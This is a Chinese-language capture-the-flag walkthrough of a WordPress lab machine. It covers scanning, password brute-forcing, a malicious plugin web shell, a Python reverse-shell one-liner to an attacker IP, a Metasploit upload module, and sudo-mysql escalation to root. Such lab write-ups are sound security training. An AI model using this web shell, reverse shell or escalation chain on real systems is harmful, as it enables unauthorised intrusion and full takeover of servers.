Admx_new
by:飞鸟(FeiNiao)
主机发现
nmap 10.0.2.0/24

有个80端口
端口扫描
nmap -p- 10.0.2.15

版本探测
nmap -p80 -sV 10.0.2.15
apache服务 ubuntu系统

浏览器访问80端口

没啥有用的信息
扫一下目录
dirsearch -u http://10.0.2.15/

有个wordpress的目录
尝试访问

加载好慢,注意看到左下角,连接到192.168.159.145,难道去请求别的ip了?
burp抓包分析一下,看看都访问哪些资源


发现它还去访问了192.168.159.145的一些资源
他要调用192.168.159.145上的上的js文件来美化页面。但其实这两个ip指向的都是wordpress这个cms,而且是当我们访问10.0.2.15时,服务器通过响应包的形式返回给192.168.159.145我们
所以我们将响应包中192.168.159.145这个ip替换为10.0.2.15即可快速访问页面
burp设置:


再用浏览器访问一遍

可以了,尝试sql注入,未发现漏洞
那应该考的是wordpress漏洞了,输入wp-admin试试

找到后台,尝试弱口令,失败

但是经过测试发现有amin这个账户,那就爆破一下吧
抓包,选一个好的字典 attack


密码为:adam14
登录后台

进去了,找可以插入木马的地方

更改并更新文件

提示无法在网页上更改php文件,可以通过sftp更改传输
像这样的cms往往插件处也可以getshell (法1)

不去修改别的插件,新建一个插件
<?php
/*
Plugin Name: laoqi
Plugin URI: http://baidu.com
Description: shell
Version: 6.6.6
Author: laoqi
Author URI: http://baidu.com
*/
if(isset($_GET[cmd])){
system($_GET[cmd]);
}
?>
把插件压缩成zip,wordpress只支持zip上传

上传成功,点击激活

就可以看到自己写的插件了

插件默认位置:
http://10.0.2.15/wordpress/wp-content/plugins/shell.php?cmd=ls

可以执行shell
看看 nc python环境


nc有的,python3有的
通过py3反弹shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

成功反弹。
知道了账号密码,路径。使用msf也可以getshell (法2)
search wordpress admin
use exploit/unix/webapp/wp_admin_shell_upload
set PASSWORD adam14
set RHOSTS 10.0.2.15
set USERNAME admin
set TARGETURI /wordpress


既然刚才在网页上无法更改404.php 那么在这里就可以了
查看有什么登陆用户

查看wp的配置文件,看到了数据库账号和密码

尝试用这个密码ssh连接wp-admin
失败
尝试连接数据库,失败

想着前面的wp登陆的web页面
登陆wpadmin,使用web的密码

成功登陆,第一个flag

sudo -l 看看有没有sudo权限

下面有一个连接数据库的sudo权限,恰好数据库可以执行系统命令

这里连接了数据库没回显,就试了一下show databases;发现已经进入了数据库了

重新连接了一下,测试系统命令 system id 即可发现已经是root权限了
使用\! /bin/bash 切换终端

第二个flag
okay!两个flag 和 root权限
总结
多搞点shell,万一有个shell断了呢?
浏览器反弹的shell是不是不好用呢?
美化一下shell
升级Full TTY:
CTRL+Z
stty raw -echo
fg
ls
export SHELL=/bin/bash
export TERM=screen
stty rows 38 columns 116
reset
这种美化只适用于bash
zsh的话需要
chsh -s /bin/bash #注意那个用户切换shell就在那个用户下执行
完了还要reboot